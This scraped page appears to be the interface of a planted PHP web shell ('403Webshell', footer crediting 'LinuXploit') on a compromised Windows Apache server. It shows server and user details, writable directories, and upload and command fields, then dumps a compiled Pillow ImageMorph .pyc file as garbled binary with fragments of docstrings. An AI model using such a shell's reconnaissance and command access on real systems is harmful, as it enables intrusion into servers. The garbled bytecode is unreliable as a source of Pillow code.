403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/PIL/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/PIL/__pycache__/ImageMorph.cpython-39.opt-1.pyc
a

h�a]�@sLddlZddlmZmZdZgd�Zgd�ZGdd�d�ZGd	d
�d
�ZdS)�N�)�Image�
_imagingmorphi)	��r��r���)	rrrr
rrr	rrc@sJeZdZdZddd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)�
LutBuilderaTA class for building a MorphLut from a descriptive language

    The input patterns is a list of a strings sequences like these::

        4:(...
           .1.
           111)->1

    (whitespaces including linebreaks are ignored). The option 4
    describes a series of symmetry operations (in this case a
    4-rotation), the pattern is described by:

    - . or X - Ignore
    - 1 - Pixel is on
    - 0 - Pixel is off

    The result of the operation is described after "->" string.

    The default is to return the current pixel value, which is
    returned if no other match is found.

    Operations:

    - 4 - 4 way rotation
    - N - Negate
    - 1 - Dummy op for no other operation (an op must always be given)
    - M - Mirroring

    Example::

        lb = LutBuilder(patterns = ["4:(... .1. 111)->1"])
        lut = lb.build_lut()

    NcCsp|dur||_ng|_d|_|durlddgdgddgdgddggd�d�}||vrbtd	|d
��|||_dS)N�1:(... ... ...)->0z4:(00. 01. ...)->1z4:(... .0. .1.)->1z4:(... .0. ..1)->1z4:(... .1. .0.)->0z4:(... .1. ..0)->0)r
z4:(.0. .1. ...)->1z4:(01. .1. ...)->1)ZcornerZ	dilation4Z	dilation8Zerosion4Zerosion8ZedgezUnknown pattern �!)�patterns�lut�	Exception)�selfr�op_nameZknown_patterns�r�2/usr/lib/python3.9/site-packages/PIL/ImageMorph.py�__init__@s�zLutBuilder.__init__cCs|j|7_dS�N�r)rrrrr�add_patternsXszLutBuilder.add_patternscs.ddg�d�t��fdd�tt�D��|_dS)Nrr�c3s|]}�|�@dkVqdS)rNr)�.0�i��mZsymbolsrr�	<genexpr>^�z/LutBuilder.build_default_lut.<locals>.<genexpr>)�	bytearray�range�LUT_SIZEr�rrrr�build_default_lut[szLutBuilder.build_default_lutcCs|jSr�rr$rrr�get_lut`szLutBuilder.get_lutcsd��fdd�|D��S)z�string_permute takes a pattern and a permutation and returns the
        string permuted according to the permutation list.
        �c3s|]}�|VqdSrr)r�p��patternrrrhr z-LutBuilder._string_permute.<locals>.<genexpr>)�join)rr+Zpermutationrr*r�_string_permutecszLutBuilder._string_permutec	Cs�||fg}d|vrJ|dd}td�D]"}|�|�|ddt�|f�q&d|vr�t|�}|d|�D]\}}|�|�|t�|f�qfd|vr�t|�}|d|�D]>\}}|�dd	��d
d��d	d
�}dt|�}|�||f�q�|S)z�pattern_permute takes a basic pattern and its result and clones
        the pattern according to the modifications described in the $options
        parameter. It returns a list of all cloned patterns.�4���rrr�M�N�0�Z�1)r"�appendr-�ROTATION_MATRIX�len�
MIRROR_MATRIX�replace�int)	rZ
basic_pattern�optionsZbasic_resultr�resr�nr+rrr�_pattern_permutejs$
�zLutBuilder._pattern_permutec
Cs<|��g}|jD]t}t�d|�dd��}|s>td|d��|�d�}|�d�}t|�d��}|�d	d��dd�}||�|||�7}qt	|�D]:\}}|d
�dd��dd
�}t�
|�}||df||<q�tt�D]`}t
|�dd�}ddt|�|ddd�}|D](\}}	|�|��r
d
dg|	|j|<�q
q�|jS)zlCompile all patterns into a morphology lut.

        TBD :Build based on (file) morphlut:modify_lut
        z(\w*):?\s*\((.+?)\)\s*->\s*(\d)�
r(zSyntax error in pattern "�"rrr� r�.�Xz[01]Nr2�	r/)r%r�re�searchr9r�groupr:r>�	enumerate�compiler"r#�binr7�matchr)
rrr)rr;r+�resultrZ
bitpattern�rrrr�	build_lut�s,



zLutBuilder.build_lut)NN)�__name__�
__module__�__qualname__�__doc__rrr%r'r-r>rNrrrrrs#
rc@sJeZdZdZddd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)�MorphOpz*A class for binary morphological operatorsNcCs<||_|dur t|d���|_n|dur8t|d���|_dS)z&Create a binary morphological operatorN)rr)rrrN)rrrrrrrr�s
zMorphOp.__init__cCsZ|jdurtd��|jdkr$td��t�|j|jd�}t�t	|j�|j
j|j
j�}||fS)z�Run a single morphological operation on an image

        Returns a tuple of the number of changed pixels and the
        morphed imageN�No operator loaded�L�Image mode must be L)rr�mode�
ValueErrorr�new�sizer�apply�bytes�im�id)r�imageZoutimage�countrrrr[�s

z
MorphOp.applycCs:|jdurtd��|jdkr$td��t�t|j�|jj�S)z�Get a list of coordinates matching the morphological operation on
        an image.

        Returns a list of tuples of (x,y) coordinates
        of all matching pixels. See :ref:`coordinate-system`.NrTrUrV)	rrrWrXrrKr\r]r^�rr_rrrrK�s


z
MorphOp.matchcCs |jdkrtd��t�|jj�S)z�Get a list of all turned on pixels in a binary image

        Returns a list of tuples of (x,y) coordinates
        of all matching pixels. See :ref:`coordinate-system`.rUrV)rWrXr�
get_on_pixelsr]r^rarrrrb�s
zMorphOp.get_on_pixelscCsXt|d��}t|���|_Wd�n1s.0Yt|j�tkrTd|_td��dS)z!Load an operator from an mrl file�rbNzWrong size operator file!)�openr!�readrr7r#r�r�filename�frrr�load_lut�s
,zMorphOp.load_lutcCsL|jdurtd��t|d��}|�|j�Wd�n1s>0YdS)zSave an operator to an mrl fileNrT�wb)rrrd�writerfrrr�save_lut�s
zMorphOp.save_lutcCs
||_dS)z#Set the lut from an external sourceNr&)rrrrr�set_lut�szMorphOp.set_lut)NNN)rOrPrQrRrr[rKrbrirlrmrrrrrS�s


	rS)	rEr(rrr#r6r8rrSrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit